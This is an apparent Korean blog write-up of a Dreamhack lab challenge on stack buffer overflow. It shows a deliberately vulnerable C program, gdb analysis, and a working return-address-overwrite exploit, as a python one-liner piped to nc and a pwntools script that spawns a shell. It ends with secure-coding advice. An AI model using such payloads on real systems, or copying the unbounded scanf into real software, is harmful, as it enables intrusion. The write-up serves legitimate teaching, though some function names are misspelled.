๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
[Dreamhack]SystemHacking/๋กœ๋“œ๋งต_Basic

[Dreamhack] Level1: Return Address Overwrite

by Yun2๐Ÿ‘ 2023. 8. 18.
๋ฐ˜์‘ํ˜•

๐Ÿ›Ž๏ธ Access

Exploit Tech: Return Address Overwrite์—์„œ ์‹ค์Šตํ•˜๋Š” ๋ฌธ์ œ์ž…๋‹ˆ๋‹ค.

 

๐Ÿ‘พ Exploit Algorithm & payload

๋”๋ณด๊ธฐ
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);

  return 0;
}

 

#1


: rao.c ํŒŒ์ผ์„ ์ปดํŒŒ์ผ ํ•  ์ด๋ฆ„(rao)์œผ๋กœ ์ง€์ •ํ•ด์ค€ ํ›„ -no-pie ์˜ต์…˜์„ ์ด์šฉํ•˜์—ฌ PIE(Position Independent Executables)๋ฅผ ๋น„ํ™œ์„ฑํ™”๋กœ ์ผํŒŒ์ผ ํ”„๋กœ๊ทธ๋žจ์„ ์ƒ์„ฑํ•œ๋‹ค.

> PIE๋ž€?

๋”๋ณด๊ธฐ
์‹คํ–‰ ํŒŒ์ผ์˜ ๊ธฐ๋ณธ ์ฃผ์†Œ๋ฅผ ๋ฌด์ž‘์œ„๋กœ ์ง€์ •ํ•˜์—ฌ ๊ณต๊ฒฉ์ž๊ฐ€ ๋ฉ”๋ชจ๋ฆฌ์—์„œ ์ฝ”๋“œ ๋ฐ ๋ฐ์ดํ„ฐ์˜ ์œ„์น˜๋ฅผ ์˜ˆ์ธกํ•˜๊ธฐ ์–ด๋ ต๊ฒŒ ๋งŒ๋“œ๋Š” ์ตœ์‹  ์‹œ์Šคํ…œ ๋ณด์•ˆ ๊ธฐ๋Šฅ. ์ด๋Š” -no-pie ใ…‡์˜ต์…˜์„ ์ด์šฉํ•ด ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜๋ ค๊ณ  ํ•  ๋•Œ ํŠน์ • ์œ ํ˜•์˜ ๋””๋ฒ„๊น… ๋ฐ ์•…์šฉ ๊ธฐ์ˆ ์„ ๋ฐฉํ•ดํ•  ์ˆ˜ ์žˆ์Œ.

 

: ์ปดํŒŒ์ผ์— ๊ด€ํ•œ ์ •๋ณด๋ฅผ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด์„œ readelf -h์‚ฌ์šฉํ–ˆ๋‹ค.

 

 

#2


char buf[0x28];
//...
scanf("%s", buf);

: ์ทจ์•ฝ์ ์€ scanf์˜ “%s’๋กœ ์ธํ•œ BOF(Buffer Over Flow)์ด๋‹ค.

: “%s”๋Š” ๋ฌธ์ž์—ด์„ ์ž…๋ ฅ๋ฐ›์„ ๋•Œ, ์ž…๋ ฅ์˜ ๊ธธ์ด๋ฅผ ๋”ฐ๋กœ ์ œํ•œํ•˜์ง€ ์•Š๊ณ  ์žˆ๊ณ , ๋„์–ด์“ฐ๊ธฐ, ํƒญ, ๊ฐœํ–‰ ๋ฌธ์ž ๋“ฑ์ด ๋“ค์–ด์˜ฌ ๋•Œ๊นŒ์ง€ ์ž…๋ ฅ์„ ๋ฐ›๊ณ  ์žˆ๋‹ค.

: ์ž…๋ ฅ์„ ๋ฐ›์€ ๊ธธ์ด๊ฐ€ 0x28(buf)์ธ ๋ฐฐ์—ด์— ๊ฐ’์„ ๋„ฃ๊ณ  ์žˆ๋Š” ๊ฒƒ์ด๋‹ค.

: ์—ฌ๊ธฐ์„œ 0x28๊ฐœ๊นŒ์ง€ ์ž…๋ ฅ์„ ๋ฐ›์„ ๊ณต๊ฐ„์ด ์žˆ์ง€๋งŒ, “%s”๋งŒ์„ ์‚ฌ์šฉํ•˜์—ฌ ์ž…๋ ฅ์„ ๋ฐ›๊ณ  ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ๋ฒ„ํผ์˜ ํฌ๊ธฐ๋ณด๋‹ค ํฐ ๋ฐ์ดํ„ฐ ์ž…๋ ฅ์ด ๋“ค์–ด๊ฐ€๋ฉด ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๊ฐ€ ๋ฐœ์ƒํ•˜๋Š” ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

 

 

#3


: scanf ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•  ๋•Œ, ์ธ์ž๊ฐ€ 2๊ฐœ ์‚ฌ์šฉ๋œ๋‹ค. (%s, ์‚ฌ์šฉ์ž ์ž…๋ ฅ ๊ฐ’)

: ์‚ฌ์šฉ์ž๊ฐ€ ์ž…๋ ฅํ•œ ๊ฐ’์€ main ํ•จ์ˆ˜์˜ rbp๋กœ๋ถ€ํ„ฐ 0x30 ๋–จ์–ด์ง„ ์œ„์น˜๋ถ€ํ„ฐ ์‹œ์ž‘ํ•˜์—ฌ ๊ฐ’์ด ์ €์žฅ๋œ๋‹ค.

: stack์€ ์œ„์—์„œ ๋ฐ‘์œผ๋กœ ์ž๋ผ๊ธฐ(์•„๋ž˜๋กœ ์ž๋ž€๋‹ค, heap๊ณผ ๋ฐ˜๋Œ€, ๊ธฐ์กด ์ฃผ์†Œ๋ณด๋‹ค ๋‚ฎ์€ ์ฃผ์†Œ๋กœ ํ™•์žฅ) ๋•Œ๋ฌธ์— ๋งŒ์•ฝ 'hello'๋ผ๋Š” ๊ฐ’์„ ๋„ฃ๊ฒŒ ๋œ๋‹ค๋ฉด h = '0x30', e = '0x2f', l = '0x2e', l = '0x2d', o = '0x2c' ๋กœ ์ฃผ์†Œ๊ฐ€ ํ™•์žฅ๋œ๋‹ค๊ณ  ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

: ๊ทธ๋ž˜์„œ buf๋Š” rbp-0x30์— ์žˆ๊ณ  ์Šคํƒ ํ”„๋ ˆ์ž„ ๊ตฌ์กฐ์—์„œ rbp ์ฃผ์†Œ์—๋Š” SFP๊ฐ€ ๋“ค์–ด ์žˆ๊ณ  ๋‹ค์Œ ์ฃผ์†Œ์— RET์ด ๋“ค์–ด ์žˆ๋‹ค๊ณ  ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

: ๋”ฐ๋ผ์„œ 0x30 + 0x8(0x38, 56๊ฐœ์˜ ๋ฌธ์ž)๋กœ ๋ฌธ์ž๋ฅผ ์ฑ„์šด RET(ํ”„๋กœ์‹œ์ € ๋ฐ˜ํ™˜, ๋ฐ˜ํ™˜ ๊ฐ’)๋ฅผ get_shell()ํ•จ์ˆ˜๋กœ ์ฃผ์†Œ ๋ณ€์กฐ ์‹œํ‚ค๋ฉด ๋œ๋‹ค. 

 

 

: ์ฝ”๋“œ๋กœ ์ง์ ‘ ๋””๋ฒ„๊น…ํ•˜๋ฉฐ ํ™•์ธํ•ด ๋ณผ ์ˆ˜๋„ ์žˆ๋‹ค.

$ gdb rao
pwndbg> disassemble main
pwndbg> b *main+63    #์ฒซ๋ฒˆ์งธ ์ค‘๋‹จ์ 
pwndbg> b *main+69    #๋‘๋ฒˆ์งธ ์ค‘๋‹จ์ 
pwndbg> r
pwndbg> c

: ์ฒซ๋ฒˆ์งธ ์ค‘๋‹จ์ ์—์„œ Input: ๊ฐ’์œผ๋กœ hello(์ •์ƒ์ ์ธ ๊ฐ’)๋ฅผ ์ž…๋ ฅํ–ˆ์„ ๋•Œ, ๋‘๋ฒˆ์งธ ์ค‘๋‹จ์ ์—์„œ ์ •์ƒ์ ์ธ ๋™์ž‘ ์‹œ ์ฃผ์†Œ๋ฅผ 0x7ffff7de7083๋กœ ๋ฆฌํ„ด๋œ๋‹ค๋Š” ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

: ์ฒซ๋ฒˆ์งธ ์ค‘๋‹จ์ ์—์„œ Input: ๊ฐ’์œผ๋กœ ๋งŽ์€ ์ž…๋ ฅ์˜ ‘a’(๋น„์ •์ƒ์ ์ธ ๊ฐ’, 56๋ฒˆ ์ด์ƒ ์‹คํ–‰)๋ฅผ ์ž…๋ ฅํ–ˆ์„ ๋•Œ, ๋‘๋ฒˆ์งธ ์ค‘๋‹จ์ ์—์„œ ์ฃผ์†Œ๋Š” 0x7ffff7de7000๋กœ ์ •์ƒ ๋ฆฌํ„ด ์ฃผ์†Œ๊ฐ€ ์•„๋‹Œ ๋‹ค๋ฅธ ์ฃผ์†Œ ๋ณ€๊ฒฝ๋œ ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

: ๊ทธ๋ฆฌ๊ณ  ์ •์ƒ ๋™์ž‘์€ mov edi, eax๋กœ call exit ๋™์ž‘์„ ์™„๋ฃŒํ•˜์—ฌ ์‹คํ–‰ ์ข…๋ฃŒ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋Š”๋ฐ ์—ฌ๊ธฐ์„œ๋Š” sbb(Subtact with Borrow)๋กœ ์ด์ „ ๋นผ๊ธฐ ๋˜๋Š” ์บ๋ฆฌ ํ”Œ๋ž˜๊ทธ์—์„œ ์ƒ์„ฑ๋  ์ˆ˜ ์žˆ๋Š” ๋นŒ๋ฆผ์ด ๋ฐœ์ƒํ•˜์—ฌ ์‹คํ–‰์ด ์›ํ•˜๋Š” ์ •์ƒ ์ข…๋ฃŒ๊ฐ€ ๋˜์ง€ ์•Š๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

 

 

#4


//...
void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}
//...

: ์ฝ”๋“œ์—์„œ ํ”„๋กœ๊ทธ๋žจ ๋‚ด์—์„œ ์‰˜์„ ์‹คํ–‰ํ‚ค๋Š” ํ•จ์ˆ˜๊ฐ€ ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•˜์˜€๊ธฐ์— main ํ•จ์ˆ˜์˜ ๋ฆฌํ„ด ์ฃผ์†Œ๋ฅผ get_shell()ํ•จ์ˆ˜๋กœ ๋ณ€๊ฒฝํ•˜๊ธฐ ์œ„ํ•ด print๋กœ get_shell()ํ•จ์ˆ˜ ์ฃผ์†Œ์ž„์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

 

issue..

: 0x4011d์ด๊ธฐ ๋•Œ๋ฌธ์— payload ์ž‘์„ฑ์‹œ \xdd\x11\x40\x00\x00\x00\x00\x00๋ฅผ ์ด์šฉํ–ˆ์œผ๋‚˜ ์†Œ์Šค ์ฝ”๋“œ๋ฅผ ์ง์ ‘ ์ปดํŒŒ์ผ ํ•˜์—ฌ ๋ฒ„ํผ์˜ ์‚ฌ์ด์ฆˆ๊ฐ€ ๋‹ฌ๋ผ์กŒ๊ธฐ ๋•Œ๋ฌธ์— ๊ฐ’์„ ์–ป์„ ์ˆ˜ ์—†์—ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์‹ค์Šต ์‹ค์ œ ๋ฒ„ํผ ์‚ฌ์ด์ฆˆ์ธ \xaa\x06\x40\x00\x00\x00\x00\x00์œผ๋กœ ์‹คํ–‰๋œ๋‹ค.

 

#5


(python3 -c "import sys; sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00')"; cat)| nc host3.dreamhack.games 23452

 

from pwn import *

#TCP connection
r = remote('host3.dreamhack.games', 7182) 

#Build payload
get_shell = '\xaa\x06\x40\x00\x00\x00\x00\x00'
payload = 'A' * 0x30 + 'B' * 0x8 + get_shell

#ํŽ˜์ด๋กœ๋“œ ์ „์†ก(\n์‚ฌ์šฉ) & ํ„ฐ๋ฏธ๋„๋กœ ๋ฐ์ดํ„ฐ ์ž…๋ ฅํ•˜๊ณ  ํ”„๋กœ์„ธ์Šค ์ถœ๋ ฅ ํ™•์ธ
r.sendline(payload) 
r.interactive()

: 'A'๋กœ 0x30 buf, 'B'๋กœ SFP๋ฅผ (0x38 ์ด์ƒ์˜ ๋ฌธ์ž์—ด,56์ž)์ฑ„์šด ํ›„ get_shell์˜ ์ฃผ์†Œ๋ฅผ ๋„ฃ์–ด ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.

 

 

๐Ÿ”‘Analysis and results for obtaining the Flag DH{…}


 

 

๐Ÿ“ŒSummary


scanf๋ฅผ ์ด์šฉํ•˜์—ฌ "%s"๋งŒ ์‚ฌ์šฉํ•œ๋‹ค๋ฉด ์•…์˜์ ์œผ๋กœ ๋ฒ„ํผ์˜ ํฌ๊ธฐ๋ณด๋‹ค ํฐ ๋ฐ์ดํ„ฐ๋ฅผ ์ž…๋ ฅํ•˜๋ฉด ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๊ฐ€ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์Œ

์ด๊ฒƒ์„ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ์ •ํ™•ํ•œ n๊ฐœ์˜ ๋ฌธ์ž๋งŒ์„ ๋ฐ›๋Š” "%[n]s"์˜ ํ˜•ํƒœ๋กœ ์‚ฌ์šฉํ•ด์•ผ ํ•จ

 

๋˜ํ•œ C/C++์˜ ํ‘œ์ค€ ํ•จ์ˆ˜ ์ค‘ stcpy, stcat, sprintf ๋“ฑ์ด ์žˆ๋Š”๋ฐ, ์ด ํ•จ์ˆ˜๋“ค ๋˜ํ•œ ๋ฒ„ํผ๋ฅผ ๋‹ค๋ฃจ๋ฉด์„œ ๊ธธ์ด๋ฅผ ์ž…๋ ฅํ•˜์ง€ ์•Š๋Š” ํ•จ์ˆ˜์ด๋‹ค. ๋•Œ๋ฌธ์— ๋ฒ„ํผ์˜ ํฌ๊ธฐ๋ฅผ ๊ฐ™์ด ์ž…๋ ฅํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒƒ์„ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•˜๋‹ค. stncpy, memcpy ์™€ ๊ฐ™์€ ๊ฒฝ๊ณ„ ๊ฒ€์‚ฌ๋ฅผ ์ˆ˜ํ–‰ํ•˜๋Š” ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜๊ฑฐ๋‚˜ gets,strcpy,strcat์„ ์‚ฌ์šฉํ•˜๊ธฐ ๋ณด๋‹ค๋Š” ์•ˆ์ „ํ•œ fgets, strncpy, strncat ๋“ฑ์„ ์‚ฌ์šฉํ•˜๋Š”๊ฒƒ์ด ์ข‹๋‹ค.

 

 

๋ฐ˜์‘ํ˜•

'[Dreamhack]SystemHacking > ๋กœ๋“œ๋งต_Basic' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[Dreamhack] Level1: Return to Shellcode  (0) 2023.08.30
[Dreamhack] Level1: basic_exploitation_001  (0) 2023.08.28
[Dreamhack] Level2: basic_exploitation_000  (0) 2023.08.25
[Dreamhack] Level2: shell_basic  (0) 2023.08.22